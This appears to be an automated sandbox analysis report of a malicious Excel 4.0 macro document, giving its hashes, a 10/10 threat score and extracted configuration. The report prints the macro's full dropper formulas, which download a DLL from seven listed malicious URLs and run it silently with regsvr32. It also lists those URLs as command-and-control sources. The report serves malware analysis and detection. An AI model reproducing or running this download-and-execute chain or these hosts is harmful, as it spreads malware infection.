General

  • Target

    b583800cd5e6338eef6736009494c549c0c4e74fa230dd79b9b0533ef0ec80a5

  • Size

    73KB

  • Sample

    241119-w5l38azhnq

  • MD5

    99e965dd69fa2baf8086de4be2d98e77

  • SHA1

    7aee51c72da47a293ce59a85b86f4110fedc8181

  • SHA256

    b583800cd5e6338eef6736009494c549c0c4e74fa230dd79b9b0533ef0ec80a5

  • SHA512

    4a5a3a17a1613a8d115ba064eb19713a216c0235ced1d5eec785f6bf7803180e1bad192fbcd4791dda74fdacac150fb8bad130e635cb53a374002bbacca14c9e

  • SSDEEP

    1536:S41yiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlV4XG:x1yiCtzSmICpH7OZuvZGsMX

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://appleinfoway.com/venv/5Pp/

http://www.atelierkikala.com/Facebook/vXY2sLFfbSSCTh/

http://astrogurusunilbarmola.com/css/ucDJnRTACskNjrZOHr/

http://atters.net/cgi-bin/0yIPlpXo3156/

http://www.andrarose.com/wp-admin/9NE3hpWhdggun0YLeQ0/

http://ara-choob.com/data1/yPQ8/

http://asyadegirmen.com/Template/aweTuOE/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appleinfoway.com/venv/5Pp/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.atelierkikala.com/Facebook/vXY2sLFfbSSCTh/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://astrogurusunilbarmola.com/css/ucDJnRTACskNjrZOHr/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atters.net/cgi-bin/0yIPlpXo3156/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.andrarose.com/wp-admin/9NE3hpWhdggun0YLeQ0/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ara-choob.com/data1/yPQ8/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://asyadegirmen.com/Template/aweTuOE/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://appleinfoway.com/venv/5Pp/

xlm40.dropper

http://www.atelierkikala.com/Facebook/vXY2sLFfbSSCTh/

xlm40.dropper

http://astrogurusunilbarmola.com/css/ucDJnRTACskNjrZOHr/

xlm40.dropper

http://atters.net/cgi-bin/0yIPlpXo3156/

Targets

    • Target

      b583800cd5e6338eef6736009494c549c0c4e74fa230dd79b9b0533ef0ec80a5

    • Size

      73KB

    • MD5

      99e965dd69fa2baf8086de4be2d98e77

    • SHA1

      7aee51c72da47a293ce59a85b86f4110fedc8181

    • SHA256

      b583800cd5e6338eef6736009494c549c0c4e74fa230dd79b9b0533ef0ec80a5

    • SHA512

      4a5a3a17a1613a8d115ba064eb19713a216c0235ced1d5eec785f6bf7803180e1bad192fbcd4791dda74fdacac150fb8bad130e635cb53a374002bbacca14c9e

    • SSDEEP

      1536:S41yiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlV4XG:x1yiCtzSmICpH7OZuvZGsMX

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks